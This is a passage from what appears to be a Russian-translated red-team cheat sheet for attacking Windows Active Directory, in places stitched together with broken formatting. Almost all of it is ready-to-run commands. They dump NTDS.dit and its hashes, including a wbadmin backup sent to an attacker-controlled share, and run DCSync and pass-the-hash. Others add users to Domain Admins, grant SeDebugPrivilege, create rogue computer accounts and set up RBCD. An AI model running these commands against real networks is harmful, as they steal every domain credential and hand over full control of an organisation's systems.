# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"

# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
  -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"

# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
  "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"

# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

↑ Back to Index


Даймп NTDS через Diskshadow

diskshadow.exe — это встроенный Windows LOLBin, который взаимодействует с VSS напрямую. Полезен, когда vssadmin заблокирован или отслеживается — diskshadow реже попадает под подозрение. Backup Operators могут использовать его без полного DA. Требует загрузки файла скрипта на DC.

⚠️ Файл скрипта должен иметь окончания строк CRLF. diskshadow.exe отклоняет скрипты только с LF. Выполните unix2dos shadow.dsh перед загрузкой или создайте файл с помощью printf, явно используя \r\n.

⚠️ Примечание о перенаправлении в Titanis Wmi exec: Не включайте > в аргумент команды Wmi exec — Titanis обрабатывает > особым образом, и создание процесса завершается ошибкой ERROR_FILE_NOT_FOUND. Если вам нужно захватить вывод, создайте .bat файл с перенаправлением и загрузите его отдельно, затем выполните этот bat-файл.```bash

Step 1 — create diskshadow script locally (CRLF required)

cat > shadow.dsh << 'EOF' set context persistent nowriters set metadata C:\Windows\Temp\meta.cab add volume C: alias trophy create expose %trophy% Z: EOF unix2dos shadow.dsh # ← required; diskshadow rejects LF-only scripts

Step 2 — upload script to DC

smbclient.py DOMAIN/Administrator:[email protected]

smb: > put shadow.dsh Windows\Temp\shadow.dsh

Titanis — upload

Smb2Client put shadow.dsh "\192.168.1.1\C$\Windows\Temp\shadow.dsh"
-UserName Administrator -UserDomain DOMAIN -Password Password123

Step 3 — execute diskshadow and copy NTDS.dit

wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh" wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"

Titanis — exec (no > redirect in command arg; use cmd.exe /c for copy)

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"

Step 4 — retrieve files

smbclient.py DOMAIN/Administrator:[email protected]

smb: > get Windows\Temp\ntds.dit ntds.dit

smb: > get Windows\Temp\SYSTEM SYSTEM

Titanis — retrieve

Smb2Client get "\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123

Step 5 — clean up shadow and parse offline

wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s - delete shadows volume trophy" secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL gosecretsdump -ntds ntds.dit -system SYSTEM # faster alternative for large NTDS files

root@kitploit:~
[↑ Назад к индексу](#index)

---

### NTDS-дамп через Kerb-Key-List (RODC)

> Извлекает ключи AES Kerberos для всех учётных записей домена через протокол репликации ключей RODC. Требуется AES-ключ или NT-хеш учётной записи `krbtgt` RODC (`krbtgt_XXXXX`). Не использует DRSUAPI или VSS — полезно в средах, где DCSync заблокирован. Восстанавливает только ключи Kerberos, а не NTLM-хеши напрямую (хотя NTLM можно получить из ключей RC4).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

Назад к оглавлению


Офлайн-разбор NTDS

Имея похищенные ntds.dit и SYSTEM-куст (из VSS, IFM, резервной копии или извлечения с семантикой резервного копирования), извлеките все хэши локально, больше не обращаясь к DC.```bash

gosecretsdump — Go reimplementation; dramatically faster on large NTDS files

(secretsdump can take 20+ minutes; gosecretsdump completes in under a minute)

gosecretsdump -ntds ntds.dit -system SYSTEM gosecretsdump -ntds ntds.dit -system SYSTEM -enabled # enabled accounts only gosecretsdump -ntds ntds.dit -system SYSTEM -history # include password history gosecretsdump -ntds ntds.dit -system SYSTEM -out hashes.txt

root@kitploit:~
[↑ Назад к индексу](#index)

---

### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"

# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
  --username krbtgt

# pypykatz — pass-the-hash
pypykatz smb dcsync \
  "smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"

# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN

# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt

# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm

# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -just-dc-ntlm

# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
  -just-dc-user DOMAIN/krbtgt

# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt

# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds

# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]

# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List krbtgt

# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
  -Kdc 192.168.1.1 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1

↑ Назад к индексу


5. Перечисление

Перечисление пользователей домена (SAMR)```bash

impacket

samrdump.py DOMAIN/jdoe:[email protected] net.py DOMAIN/jdoe:[email protected] user

enum4linux-ng

enum4linux-ng -U 192.168.1.10 -u jdoe -p Password123

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --users

rpcclient

rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomusers"

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> adinfo

Titanis

Sam enumusers 192.168.1.10 -UserName jdoe -Password Password123

gopacket — SAMR user enumeration

samrdump DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

samrdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Назад к индексу](#index)

---

### Перечисление групп / локальные псевдонимы```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group

# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup

# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser

# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups

# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(objectClass=group)" --attr sAMAccountName,description,member

# Titanis
Sam enumgroups  192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123

# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group

↑ Назад к оглавлению


SID Brute Force / Поиск```bash

impacket — brute force RIDs

lookupsid.py DOMAIN/jdoe:[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --rid-brute

enum4linux-ng

enum4linux-ng -R 192.168.1.10 -u jdoe -p Password123

Titanis — resolve SID

Lsa lookupsid 192.168.1.10 -UserName jdoe -Password Password123
S-1-5-21-1234567890-1234567890-1234567890-500

Titanis — name to SID

Lsa lookupname 192.168.1.10 -UserName jdoe -Password Password123 Administrator jdoe

gopacket — RID brute force (resolves SIDs, dumps domain SID + usernames)

lookupsid DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

lookupsid -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

gopacket — null session (if allowed)

lookupsid DOMAIN/@192.168.1.10

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### Перечисление RPC-эндпоинтов```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10

# Titanis
Epm lsep 192.168.1.10

# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10

↑ К оглавлению


Запрос WMI```bash

impacket

wmiquery.py -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]

impacket — pass-the-hash

wmiquery.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-query "SELECT * FROM Win32_Process" DOMAIN/[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --wmi "SELECT * FROM Win32_Process"

NetExec — pass-the-hash

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
--wmi "SELECT * FROM Win32_Process"

Titanis

Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
"SELECT * FROM Win32_Process" Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
-OutputFields Caption,ProcessId,ParentProcessId "SELECT * FROM Win32_Process"

gopacket — WQL query (password)

wmiquery -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

wmiquery -query "SELECT * FROM Win32_Process"
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Назад к индексу](#index)

---

### Вызов метода WMI```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"

# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_Process Create "calc.exe"

↑ Назад к индексу


Операции с удалённым реестром```bash

impacket — list key

reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

NetExec — read a registry value (via -x)

netexec smb 192.168.1.10 -u jdoe -p Password123 -x "reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags"

Titanis — list key

Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion

impacket — read a value

reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags

Titanis — read a value

Reg get 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SYSTEM/CurrentControlSet/Control/Lsa LsaCfgFlags

gopacket — query a key

reg query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion DOMAIN/jdoe:[email protected]

gopacket — read a value

reg query -keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

reg query -keyName HKLM\SOFTWARE -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

impacket — set a value

reg.py DOMAIN/jdoe:[email protected] add
-keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd "TestData"

Titanis — set a value

Reg set 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKCU/Software/Test sz:TestValue=TestData

gopacket — set a value

reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData DOMAIN/jdoe:[email protected]

gopacket — delete a value

reg delete -keyName HKCU\Software\Test -v TestValue DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Назад к индексу](#index)

---

### Дескриптор безопасности ключа реестра```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"

# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"

↑ Назад к индексу


Перечисление служб```bash

impacket

services.py DOMAIN/jdoe:[email protected] list

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --services

aiosmb — interactive client

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

smb> services

smb> tasks

Titanis — query all services

Scm query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

impacket — start / stop

services.py DOMAIN/jdoe:[email protected] start -name Spooler services.py DOMAIN/jdoe:[email protected] stop -name Spooler

Titanis — start / stop

Scm start 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler

Titanis — create / delete

Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe" Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc

gopacket — list all services

services DOMAIN/jdoe:[email protected] list

gopacket — pass-the-hash

services -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] list

gopacket — query status of a single service

services DOMAIN/jdoe:[email protected] status -name Spooler

gopacket — start / stop

services DOMAIN/jdoe:[email protected] start -name Spooler services DOMAIN/jdoe:[email protected] stop -name Spooler

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### Управление привилегиями LSA```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"

# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment

# Titanis
# ⚠️ Three requirements:
#   1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
#   2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
#   3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv  192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv   192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 0x20 -PreferSmb

↑ Назад к индексу


Привилегии LSA и перечисление учетных записей```bash

rpcclient

rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "lsaenumsid" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumprivs"

enum4linux-ng

enum4linux-ng -P 192.168.1.10 -u jdoe -p Password123

Titanis

Lsa enumaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # requires admin Lsa enumprivaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -Privilege SeDebugPrivilege Lsa getprivs 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getrights 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe

root@kitploit:~
[↑ Назад к индексу](#index)

---

## 6. Active Directory / LDAP

### Перечисление пользователей и компьютеров AD```bash
# impacket
GetADUsers.py    -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py     -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers

# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem

# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"

# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"

# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"

# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
#   - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
#     and returns no records regardless of -SearchBase or -FollowReferrals
#   - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
#   - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
#     Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals

# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Назад к оглавлению


Перечисление GPO и доверительных отношений домена```bash

NetExec — BloodHound collection (includes GPOs and trusts)

netexec ldap 192.168.1.1 -u jdoe -p Password123 --bloodhound --collection All

bloodyAD — domain trusts

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search
--filter "(objectClass=trustedDomain)" --attr name,trustDirection,trustType,flatName

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> trusts

Titanis — enumerate GPO containers

Use Ldap query + -FollowReferrals on Linux; -OutputFields comma list works on Windows only

Linux: use -OutputStyle List and parse, or -OutputFields * and grep

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath,versionNumber -FollowReferrals

Titanis — enumerate domain trusts

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=trustedDomain)"
-OutputFields name,trustDirection,trustType,trustAttributes,flatName -FollowReferrals

Titanis — Kerberos auth variants

Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1
-Password Password123 "(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath -FollowReferrals

⚠️ -TicketCache only works with Titanis-native ccache; use -Tgt with a Titanis-generated TGT instead

Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN \

-TicketCache jdoe.ccache "(objectClass=trustedDomain)" -OutputFields * -FollowReferrals

ldapsearch — raw GPO objects

ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Policies,CN=System,DC=domain,DC=local" "(objectClass=groupPolicyContainer)"
displayName gPCFileSysPath

root@kitploit:~
[↑ Назад к индексу](#index)

---

### Поиск конфигураций делегирования```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation

# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained

# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals

# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals

# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals

# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Вернуться к индексу


Добавить учетную запись компьютера```bash

impacket — SAMR method (no LDAPS required)

addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — LDAPS method

addcomputer.py -method LDAPS -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — pass-the-hash (SAMR)

addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe

bloodyAD

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add computer EVILPC$ Password123!

NetExec

netexec smb 192.168.1.1 -u jdoe -p Password123 -M add-computer -o NAME=EVILPC$ PASSWORD=Password123

Titanis — plain LDAP (creates account, unicodePwd not set without -Ssl)

Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'

Titanis — LDAPS (sets unicodePwd; use full DN as ObjectName)

Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
-NewPassword Password123! -Ssl
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'

gopacket — SAMR method (plain LDAP or no LDAPS; confirmed working with -Ssl flag on Titanis)

addcomputer -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

gopacket — LDAP method (requires -port 389; use -Ssl / -port 636 for LDAPS)

addcomputer -method LDAP -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### Добавить учетную запись пользователя```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)

# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  add user newuser Password123!

# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10

# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!

↑ Назад к индексу


Настроить RBCD```bash

impacket

rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — pass-the-hash

rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe

bloodyAD

